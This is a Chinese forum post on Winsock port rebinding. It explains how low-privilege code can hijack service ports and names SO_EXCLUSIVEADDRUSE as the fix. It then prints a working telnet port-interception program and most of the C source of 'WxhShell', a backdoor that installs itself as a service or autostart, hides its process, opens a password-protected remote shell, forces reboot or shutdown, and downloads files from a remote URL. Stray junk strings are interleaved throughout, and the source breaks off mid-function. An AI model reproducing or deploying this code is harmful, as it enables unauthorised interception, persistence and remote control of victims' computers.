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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0qqk:h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4R0'$Ld4  
9aFu51  
  saddr.sin_family = AF_INET; +] >o@  
Tz[ck 'k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [QEV6 S]  
\wEHYz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c"Ddw'?e  
$n\{6Rwb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1%68Pnqk  
ABw:SQ6=Q  
  这意味着什么?意味着可以进行如下的攻击:  eme7y  
nj$TdwZbK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Kur3Gf X  
]KdSwIbi  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iqm]sC`  
VPoA,;Y"-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mD<- <]SYp  
#$2 {l,>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n]^zIe^6  
ul$k xc=N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e` 9d&"  
5gYv CW&~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hkB/ OJ  
CT,PQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Yl4XgjG  
t% Sgw%f  
  #include ^S:S[0\,  
  #include P0VXHE1p  
  #include $`,10uw  
  #include    !Hq$7j_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2o2jDQ|7  
  int main() OGW,[k= 2{  
  { A!B: vJ  
  WORD wVersionRequested; /9T.]H ~  
  DWORD ret; wV8_O)[  
  WSADATA wsaData; 3m%oXT  
  BOOL val; Z OJ<^t}  
  SOCKADDR_IN saddr; j5\z7  
  SOCKADDR_IN scaddr; .8Eh[yiln  
  int err; 3,`I\>No  
  SOCKET s; oGt,^!V1  
  SOCKET sc; LtIp,2GP&_  
  int caddsize; )` ~"o*M  
  HANDLE mt; Y;2WY 0eq  
  DWORD tid;   U; -2)+  
  wVersionRequested = MAKEWORD( 2, 2 ); !\|_,pSB  
  err = WSAStartup( wVersionRequested, &wsaData ); LCBP9Rftvd  
  if ( err != 0 ) { rlxZ,]ul  
  printf("error!WSAStartup failed!\n"); w5fVug/;P  
  return -1; hOFC8g  
  } O0^m_  
  saddr.sin_family = AF_INET; )Fk*'6  
   9o%k [n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e1cqzhI=nA  
HiAj3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tVfZ~q J  
  saddr.sin_port = htons(23); ) uM*`%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6Qtyv  
  { u}I-#j)wap  
  printf("error!socket failed!\n"); O-P'Ff"}t  
  return -1; wwh1aV *  
  } NM FgCL  
  val = TRUE; qzon);#7w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'q>2WP|UY9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a]H&k$!c  
  { ^IQtXae6M  
  printf("error!setsockopt failed!\n"); DVJuX~'|!  
  return -1; Hk&op P9)  
  } ^wass_8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wrP3:!=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mVXwU](N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R+sv?4k  
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  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z)%Ke~)<\@  
  { S\76`Ot  
  ret=GetLastError(); ]{Y7mpdB  
  printf("error!bind failed!\n"); <JUumrEo  
  return -1; ~8JOPzK  
  } '=AqC,\#  
  listen(s,2); "L4ZE4|)  
  while(1) %CoO-1@C  
  { )FQxVT,.  
  caddsize = sizeof(scaddr); z}BuR*WSY{  
  //接受连接请求 K<wg-JgA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &/m0N\n?  
  if(sc!=INVALID_SOCKET) "+XF'ZO  
  { kz0pX- @b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #,[z}fq  
  if(mt==NULL) m@Hg:DY  
  { O0l1AX"  
  printf("Thread Creat Failed!\n"); Kz~E"?  
  break; C6"{-{H  
  } i[Qq,MmC  
  } / jLb{Ky  
  CloseHandle(mt); !LR9}Xon  
  } JUXo3D~  
  closesocket(s); dzk1!yy  
  WSACleanup(); /07iQcT(  
  return 0; mX2X.ww(4  
  }   `}:pUf  
  DWORD WINAPI ClientThread(LPVOID lpParam)  "tT68  
  { cqYMzS t  
  SOCKET ss = (SOCKET)lpParam; P(o GNKAS  
  SOCKET sc; 4V<.:.k  
  unsigned char buf[4096]; 9y'To JZ6  
  SOCKADDR_IN saddr; ppuJC ' GW  
  long num; Y sDai<  
  DWORD val; qrHCr:~  
  DWORD ret; A&N$=9.N1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Prc (  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5Vc~yMz  
  saddr.sin_family = AF_INET; 0VnRtLnqI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Skl:~'W.&|  
  saddr.sin_port = htons(23); b{BiC&3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V= g u'~  
  { ;.66phe  
  printf("error!socket failed!\n"); dvE~EZcS  
  return -1; &( ZEs c  
  } (I/ZI'Ydy  
  val = 100; U(+%iD60i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;fYJ]5>  
  { :jy}V'bn$  
  ret = GetLastError(); wZ5k|5KtW  
  return -1; HCKocL/]h  
  } j ];#=+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EG8%X"p  
  { ZU$QwI8  
  ret = GetLastError(); ,\ -4X  
  return -1; 18^K!:Of  
  } eN'b" _D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6W< Ig;  
  { j/8q  
  printf("error!socket connect failed!\n"); CZ!gu Y=  
  closesocket(sc); SJ}PV:x  
  closesocket(ss); C).+h7{nd  
  return -1; ^V~^[Yp  
  } R5 i xG9  
  while(1) d};[^q6X  
  { 9ec>#Vxx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )gx*;z@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t*`G@Nj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )EK\3q  
  num = recv(ss,buf,4096,0); S c ijf 9  
  if(num>0) %CZGV7JdA  
  send(sc,buf,num,0); IL,iu  
  else if(num==0) e6>[ZC  
  break; QFB2,k6jN  
  num = recv(sc,buf,4096,0); D W>O]\I  
  if(num>0) CHi t{ @9  
  send(ss,buf,num,0); 1@N4Y9o  
  else if(num==0) aA -j  
  break; l1.eAs5U  
  } Xyu0n p;@  
  closesocket(ss); [s[!PlazX  
  closesocket(sc); )xL_jSyh  
  return 0 ; tb>Q#QB&u  
  } g,G{%dGsk  
| 2GrOM&S  
iA|n\a~ny,  
========================================================== hh$i1n  
NxzAlu  
下边附上一个代码,,WXhSHELL 24po}nrO  
%EYh*g{G  
========================================================== gW?Hd/  
e< G[!m  
#include "stdafx.h" =eR#]d  
.zy2_3:  
#include <stdio.h> T-\q3X|y/  
#include <string.h> v+i==vxg  
#include <windows.h> /eBcPu"[Vb  
#include <winsock2.h> ? <w[ZWytm  
#include <winsvc.h> sHPlNwyy  
#include <urlmon.h> lmIphOUoIw  
u`XZtF<vf  
#pragma comment (lib, "Ws2_32.lib") gk}.L E  
#pragma comment (lib, "urlmon.lib") 1wE`kbC<  
[B^V{nUBc  
#define MAX_USER   100 // 最大客户端连接数 &Z}}9dd  
#define BUF_SOCK   200 // sock buffer a *bc#!e  
#define KEY_BUFF   255 // 输入 buffer @7t*X-P.;-  
|}: D_TX  
#define REBOOT     0   // 重启 [fJxbr"  
#define SHUTDOWN   1   // 关机 p`S~UBcL.  
z<s ~`  
#define DEF_PORT   5000 // 监听端口 7H)tF&  
1lsg|iVz  
#define REG_LEN     16   // 注册表键长度 .G}$jO}  
#define SVC_LEN     80   // NT服务名长度 vos-[$  
ZSB;4 ?:h  
// 从dll定义API 2h) *  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OTEx9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3!Mb<W.3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); - v=ndJ.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1`1Jn*|TI  
lrgvY>E0  
// wxhshell配置信息 #UnGU,J  
struct WSCFG { QZ5%nJme_  
  int ws_port;         // 监听端口 FC4hvO(/m  
  char ws_passstr[REG_LEN]; // 口令 qvs[Gkaa@  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZC&~InN  
  char ws_regname[REG_LEN]; // 注册表键名 9?|m ^  
  char ws_svcname[REG_LEN]; // 服务名 ; X/'ujg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :FixLr!q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xw*/8.Md6f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0a+U >S#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "VeNc,-nfQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B~3qEdoK5`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aSeh?2n8  
QaOF l` i  
}; 1 y7$"N8Xo  
m.U&O=]5  
// default Wxhshell configuration V^\b"1X7N  
struct WSCFG wscfg={DEF_PORT, ?aZ\D g{  
    "xuhuanlingzhe", /b{Ufo3v  
    1, i;67< f}-  
    "Wxhshell", Ct0%3]<J  
    "Wxhshell", G)=+Nt\ *  
            "WxhShell Service", ^56#{~%^?  
    "Wrsky Windows CmdShell Service", ?o d*"M  
    "Please Input Your Password: ", 1! R:}r3t  
  1, 5?TjuGc  
  "http://www.wrsky.com/wxhshell.exe", LfsOGC  
  "Wxhshell.exe" fM<g++X  
    }; MENrP5AL  
zENo2#{_N  
// 消息定义模块 "; ?^gA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XE|"n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tTe:Oq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k")3R}mX  
char *msg_ws_ext="\n\rExit."; Csm23QLsg)  
char *msg_ws_end="\n\rQuit."; FFc?Av?_  
char *msg_ws_boot="\n\rReboot..."; :5zO!~\  
char *msg_ws_poff="\n\rShutdown..."; K st2.Yy  
char *msg_ws_down="\n\rSave to "; h-@_.&P0e  
a{iG0T.{Yh  
char *msg_ws_err="\n\rErr!"; c+u) C%g  
char *msg_ws_ok="\n\rOK!"; jE$]Z(Ab  
=l$qwcfbo  
char ExeFile[MAX_PATH]; (<yQA. M  
int nUser = 0; o&E2ds3  
HANDLE handles[MAX_USER]; W0Q;1${  
int OsIsNt; h='@Q_1Sb  
9riKSp:5  
SERVICE_STATUS       serviceStatus; ld'Aaxl&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c6HH%|  
;7yt,b5&C  
// 函数声明 YfH+kDT  
int Install(void); LMYO>]dg  
int Uninstall(void); -GL-&^3IjH  
int DownloadFile(char *sURL, SOCKET wsh); Il#9t?/  
int Boot(int flag); n 4EZy<~m  
void HideProc(void); zj'uKBDl  
int GetOsVer(void); K/LoHWy+n*  
int Wxhshell(SOCKET wsl); jF%l\$)/  
void TalkWithClient(void *cs); @xAfD{}f!  
int CmdShell(SOCKET sock); `L "{sW6S  
int StartFromService(void); ZQDw|*a@  
int StartWxhshell(LPSTR lpCmdLine); y7#vH<  
y &%2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zC$(/nZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a~;`&Uj  
xwrleB  
// 数据结构和表定义 2aGK}sS6  
SERVICE_TABLE_ENTRY DispatchTable[] = u}KEH@yv  
{ <k2]GI-}h  
{wscfg.ws_svcname, NTServiceMain}, nL* SNQ_  
{NULL, NULL} 51x)fZQ  
}; Edav }z  
:WdiH)Zv  
// 自我安装 w24@KaKFo  
int Install(void) lmr:PX  
{ (~n0,$  
  char svExeFile[MAX_PATH]; wz 5*?[4  
  HKEY key; 0t}&32lL&  
  strcpy(svExeFile,ExeFile); 8Vqh1<  
KfLp cV  
// 如果是win9x系统,修改注册表设为自启动 v]BMET[w  
if(!OsIsNt) { )Waz bT@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XDq*nA8#5B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6\?< :Qto  
  RegCloseKey(key); Kg;1%J>ee  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *.Ceb%W7C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hlTM<E  
  RegCloseKey(key); _cH 7lO[  
  return 0; c*x5t"{  
    } )~[hf,R5S  
  } (SYSw%v$A  
} <f`G@  
else { SiQszV.&  
~m.@{Do0p  
// 如果是NT以上系统,安装为系统服务 <lwkjt=RV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E 14Dq#L  
if (schSCManager!=0) ~uz4  
{ WT>2eMK[  
  SC_HANDLE schService = CreateService RgT|^|ZA  
  ( )]5}d$83  
  schSCManager, }W k!):=y  
  wscfg.ws_svcname, uVw|fT  
  wscfg.ws_svcdisp, -?68%[4lm_  
  SERVICE_ALL_ACCESS, o@KK/f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QGQ> shIeZ  
  SERVICE_AUTO_START, |Ptv)D  
  SERVICE_ERROR_NORMAL, [.NG~ cpb  
  svExeFile, )R'~{;z }  
  NULL, Qtpw0t"  
  NULL, DZ Q=Sinry  
  NULL, myeez+@ m  
  NULL, Th)Z?\8zk  
  NULL 7B,a xkr  
  ); &udlt//^%  
  if (schService!=0) .0>2j(  
  { aM|^t:  
  CloseServiceHandle(schService); s!j[Ovtx  
  CloseServiceHandle(schSCManager); G\1\L*+0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B#K{Y$!v  
  strcat(svExeFile,wscfg.ws_svcname); u:f.g?!`"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7U\GX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G>);8T%l  
  RegCloseKey(key); &z(E-w/S  
  return 0; L^0s  
    } [~<X|_L G  
  } U6@Hgi>  
  CloseServiceHandle(schSCManager); B#T4m]E/  
} 9I;d>%  
} ]hL `HP  
==\Qj{ 7`  
return 1; e$3{URg  
} yy%'9E ldc  
C.[abpc  
// 自我卸载 _c 4kj  
int Uninstall(void) 93*MY7j}  
{ (/r l\I  
  HKEY key; JXIxk"m  
RHc-kggk!  
if(!OsIsNt) { V94eUmx>?+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A+&^As2  
  RegDeleteValue(key,wscfg.ws_regname); 9=J+5V^qD<  
  RegCloseKey(key); x$;I E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rVE!mi]%  
  RegDeleteValue(key,wscfg.ws_regname); Pn*+g!`  
  RegCloseKey(key); m ["`Op4  
  return 0; V_T.#"C4=z  
  } n@)Kf A)&  
} ~<?+(V^D  
} ,33[/j  
else { n5~7x   
N%k6*FBp~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {T^"`%[   
if (schSCManager!=0) YnzhvE  
{ \Y0o~JD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [%alnY  
  if (schService!=0) '518S"T @  
  { c05kHB$O  
  if(DeleteService(schService)!=0) { ' R!pc  
  CloseServiceHandle(schService); 6{ql.2 Fa  
  CloseServiceHandle(schSCManager); ]c.1&OB7o  
  return 0; 75+#)hNa!P  
  } ;|.^_Xs  
  CloseServiceHandle(schService); J .r^"K\  
  } -r6cK,WVU  
  CloseServiceHandle(schSCManager); wMB. p2  
} ?9E shw2  
} <GbF4\ue  
S~9K'\vO  
return 1; _qq> 43  
} CHeU?NtFps  
Stkyz:,(  
// 从指定url下载文件 Ca&5"aki  
int DownloadFile(char *sURL, SOCKET wsh) 0Y_?r$M  
{ avmuI^LLs  
  HRESULT hr; S4m??B  
char seps[]= "/"; <,r|*pkhp~  
char *token; %MQU&H9[  
char *file; &o$z[ b  
char myURL[MAX_PATH]; gkJL=,  
char myFILE[MAX_PATH]; QxSJLi7t  
h~]G6>D9)>  
strcpy(myURL,sURL); Kyz!YB  
  token=strtok(myURL,seps); #E?TE  
  while(token!=NULL) e'FBV[e  
  { "B~c/%#PH  
    file=token; =q1=.VTn  
  token=strtok(NULL,seps); OR&'  
  } G,#]`W@qhK  
<QlpIgr  
GetCurrentDirectory(MAX_PATH,myFILE); }9k/Y/.  
strcat(myFILE, "\\"); 4&}V3"lg  
strcat(myFILE, file); H]6i1j  
  send(wsh,myFILE,strlen(myFILE),0); OlW|qj  
send(wsh,"...",3,0); ''{REFjK7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vr,8i7*0  
  if(hr==S_OK) [z2XK4\e1T  
return 0; Xu4C*]A>  
else g>m)|o'  
return 1; _6b?3[Xz  
\{Q d  
} Kw`{B3"  
RObo4  
// 系统电源模块 Rqi= AQ  
int Boot(int flag) 1G0U}-6RH  
{ 4GA9oLl  
  HANDLE hToken; $>PXX32  
  TOKEN_PRIVILEGES tkp; qqL :#]lV5  
#JmVq-)  
  if(OsIsNt) { 9Q~9C9{+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Mbj{C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >UUcKq1M:  
    tkp.PrivilegeCount = 1; pO^PkX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tz\ PQ)!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 64)Fz}  
if(flag==REBOOT) { laR cEXj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #Tz$ona  
  return 0; a.n;ika]-  
} FeW}tKH  
else { B6N/nCvHK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n{d0}N =  
  return 0; E [:eMJR  
} zTgY=fuz  
  } $pKlF0 .  
  else { KASuSg+  
if(flag==REBOOT) { +-DF3(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R cZg/{[{  
  return 0; J`E,Xw>2  
} Z~g6C0  
else { p<eu0B_V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `!`g&:Y  
  return 0; }V:B,:  
} ''bh{ .x  
} DFgQ1:6[  
?Uq;>  
return 1; -YDA,.Ic?  
} 8 #m,TOp  
InO;DA\  
// win9x进程隐藏模块 !"v[\||1  
void HideProc(void)  Re=()M  
{ 9J3@8h p  
k? <.yr1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !lVOZ %  
  if ( hKernel != NULL ) 'YKzs;y$  
  { 9HsiAi*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Oe)d|6=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &kR*J<)V  
    FreeLibrary(hKernel); jmp0 %:+L  
  } j*.K|77WHj  
O'm5k l  
return; &z;bX-"E  
} TANv)&,|9  
i;flK*HOZ9  
// 获取操作系统版本 -w dbH`2Z"  
int GetOsVer(void) e^LjB/<Th  
{ Dias!$g  
  OSVERSIONINFO winfo; lm;Dy*|<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {Jna' eS  
  GetVersionEx(&winfo); ~+A(zlYr~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -wh?9 ?W  
  return 1; h SeXxSb:  
  else ?*zDsQ  
  return 0; R)@2={fd}  
} :F |ll?  
xU1_L*tu '  
// 客户端句柄模块 |)+s,LT5  
int Wxhshell(SOCKET wsl) tJM#/yT  
{ =bBV A0y  
  SOCKET wsh; NihUCj"  
  struct sockaddr_in client; {\WRW}iO  
  DWORD myID; wD\viu q0  
g"Tb\  
  while(nUser<MAX_USER) `hl8j\HV<}  
{ kqH:H~sgD  
  int nSize=sizeof(client); eh39"s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0.aIcc  
  if(wsh==INVALID_SOCKET) return 1; qj7 }]T_  
W?F Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [u $X.=(  
if(handles[nUser]==0) dwpE(G y6c  
  closesocket(wsh); RoFOjCc>D.  
else WYUel4Z  
  nUser++; (GW"iL#.  
  } `<Q[$z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kl~)<,/@  
UkTq0-N;2  
  return 0; Ke;eI+P[  
} z/I\hC9i  
,M.phRJ-`  
// 关闭 socket }Q?a6(4  
void CloseIt(SOCKET wsh) K1+4W=|  
{ Ob&m&2s,  
closesocket(wsh); KB"N',kG  
nUser--; 9Q.@RO$%C  
ExitThread(0); )n&6= Li  
} M!/!*,~  
2dyS_2u  
// 客户端请求句柄 mDXG~*1   
void TalkWithClient(void *cs) -U{CWn3G  
{ = yFOH~_  
,Y4>$:#n/  
  SOCKET wsh=(SOCKET)cs; UhKd o  
  char pwd[SVC_LEN]; d=p=eUd2  
  char cmd[KEY_BUFF]; Nz77" kC  
char chr[1]; E !9(6G4  
int i,j; )H>?K0I  
Kqz+:E8D  
  while (nUser < MAX_USER) { n *EGOS  
!(F?Np Am  
if(wscfg.ws_passstr) { 9Tg k=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l;SXR <EU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I7#^'/  
  //ZeroMemory(pwd,KEY_BUFF); 3xz|d`A  
      i=0; *E wDwS$$  
  while(i<SVC_LEN) { b8 E{~z  
xHD$0eq  
  // 设置超时 p9E/#U8A_  
  fd_set FdRead; wVq9t|V  
  struct timeval TimeOut; Q!!u=}GYK  
  FD_ZERO(&FdRead); i-}T t<^  
  FD_SET(wsh,&FdRead); TILH[r&Jg  
  TimeOut.tv_sec=8; JvsL]yRT  
  TimeOut.tv_usec=0; }BUm}.-{u,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P6I<M}p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (!PsK:wc  
%g~&$oZmq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sU+8'&vBp  
  pwd=chr[0]; 0v,fY2$c  
  if(chr[0]==0xd || chr[0]==0xa) { zM(-f|wVI)  
  pwd=0; 8OMMV,QF  
  break; (;;.[4,y  
  } nMJ( tQ  
  i++; f5Hv![x  
    } >"+ ho  
5\EnD, y  
  // 如果是非法用户,关闭 socket R,s}<N$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r1Hh @sxn  
} lWn}afI  
6V"u ovN2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T/.UMw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XtQwLH+F  
 "D'rsEh  
while(1) { ~.4y* &  
&lgzNC9g%  
  ZeroMemory(cmd,KEY_BUFF); ~Zn|(  
AmZW=n2^  
      // 自动支持客户端 telnet标准   {;|pcx\L6~  
  j=0; 3B='f"G  
  while(j<KEY_BUFF) { ))dw[Xa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1G6 \}El95  
  cmd[j]=chr[0]; ilXKJJda  
  if(chr[0]==0xa || chr[0]==0xd) { D~bx'Wr+  
  cmd[j]=0; ,c-*/{3  
  break; pss e^rFg  
  } J(K/z,4h  
  j++; \*&?o51 !e  
    }  LJ;&02w@  
ff7#LeB9  
  // 下载文件 !Eg2#a?  
  if(strstr(cmd,"http://")) { &8pGq./lr=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !C|Z+w9Y  
  if(DownloadFile(cmd,wsh)) 3 l}9'j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~;z] _`_Va  
  else M~7Cb>%<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VC0Tqk  
  } &Z3%UOY  
  else { 8f1M6GK?  
Bd 0oA )i  
    switch(cmd[0]) { kBLFK3i  
  6"o=`Sq  
  // 帮助 omGzyuPF  
  case '?': { Qv`: E   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S?6 -I,]h  
    break; s)fahc(@E  
  } Q@W!6]*\  
  // 安装 =)G]\W)m  
  case 'i': { 6.a5%:  
    if(Install()) d#XgO5eyO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <.Pt%Kg^BS  
    else $P#x>#+[A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IN@o9pUjV  
    break; h-|IZ}F7  
    } v%c/eAF  
  // 卸载 7M _ mR Vh  
  case 'r': { G'u[0>  
    if(Uninstall()) mr/?w0(C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k6J&4?xZ  
    else " dGN0i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cWG%>.`5r  
    break; mQ<4(qd)  
    } )HC/J-  
  // 显示 wxhshell 所在路径 ll1N`ke  
  case 'p': { b !y  
    char svExeFile[MAX_PATH]; zc=G4F01  
    strcpy(svExeFile,"\n\r"); {]cr.y]\  
      strcat(svExeFile,ExeFile); C7G,M  
        send(wsh,svExeFile,strlen(svExeFile),0); G3`9'-2q@c  
    break; .%)uCLZr$  
    } x/CM)!U)  
  // 重启 P 4t@BwU$  
  case 'b': { |/H?\]7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =4'V}p  
    if(Boot(REBOOT)) MU sF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9a=>gEF],@  
    else { -.y1]4  
    closesocket(wsh); & !ds#-  
    ExitThread(0); DQ3 L=  
    } ,`RX~ H=C  
    break; n?$c"}  
    } Ynvf;qs  
  // 关机 u8.Tu7~  
  case 'd': { .)$MZyo  
